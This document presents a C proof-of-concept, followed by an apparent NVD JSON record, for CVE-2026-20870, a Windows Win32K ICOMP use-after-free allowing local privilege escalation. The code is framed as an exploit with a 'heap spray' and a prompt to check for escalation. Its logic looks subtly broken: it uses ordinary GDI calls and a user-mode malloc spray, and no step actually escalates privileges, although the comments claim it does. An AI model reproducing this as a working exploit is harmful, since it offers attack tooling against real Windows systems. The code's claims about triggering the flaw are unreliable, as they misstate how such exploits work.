CVE-2026-20870

// CVE-2026-20870 PoC - Windows Win32K ICOMP Use After Free // This PoC demonstrates the vulnerability concept for educational purposes only #include <windows.h> #include <winuser.h> #include <stdio.h> // Trigger ICOMP Use After Free condition void TriggerICOMPUAF() { HWND hwnd = CreateWindowA("STATIC", "Test", WS_OVERLAPPEDWINDOW, 0, 0, 640, 480, NULL, NULL, NULL, NULL); // Create and manipulate GDI objects to trigger ICOMP handling HDC hdc = GetDC(hwnd); // Repeatedly create and delete objects to trigger UAF condition for (int i = 0; i < 100; i++) { HBITMAP hBitmap = CreateBitmap(256, 256, 1, 32, NULL); HBRUSH hBrush = CreateSolidBrush(RGB(i, 0, 0)); SelectObject(hdc, hBitmap); SelectObject(hdc, hBrush); // Delete objects in specific order to trigger UAF DeleteObject(hBitmap); DeleteObject(hBrush); // Trigger repaint to access freed ICOMP components InvalidateRect(hwnd, NULL, TRUE); UpdateWindow(hwnd); // Spray heap to increase exploitation reliability for (int j = 0; j < 50; j++) { void* spray = malloc(4096); memset(spray, 0x41, 4096); } } ReleaseDC(hwnd, hdc); DestroyWindow(hwnd); } int main() { printf("CVE-2026-20870 PoC - Testing ICOMP UAF condition\n"); printf("This requires local access with low privileges\n"); // Check if running with appropriate privileges HANDLE hToken; TOKEN_ELEVATION_TYPE ElevationType; DWORD ReturnLength; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { GetTokenInformation(hToken, TokenElevationType, &ElevationType, sizeof(ElevationType), &ReturnLength); printf("Current elevation type: %d\n", ElevationType); CloseHandle(hToken); } printf("Triggering ICOMP UAF condition...\n"); TriggerICOMPUAF(); printf("PoC execution completed. Check for privilege escalation.\n"); return 0; } // Mitigation: Apply KB5055527 or later Windows security updates

{"cve": {"id": "CVE-2026-20870", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:16.650", "lastModified": "2026-01-15T15:47:31.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Uso después de liberación en Windows Win32K - ICOMP permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20870", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}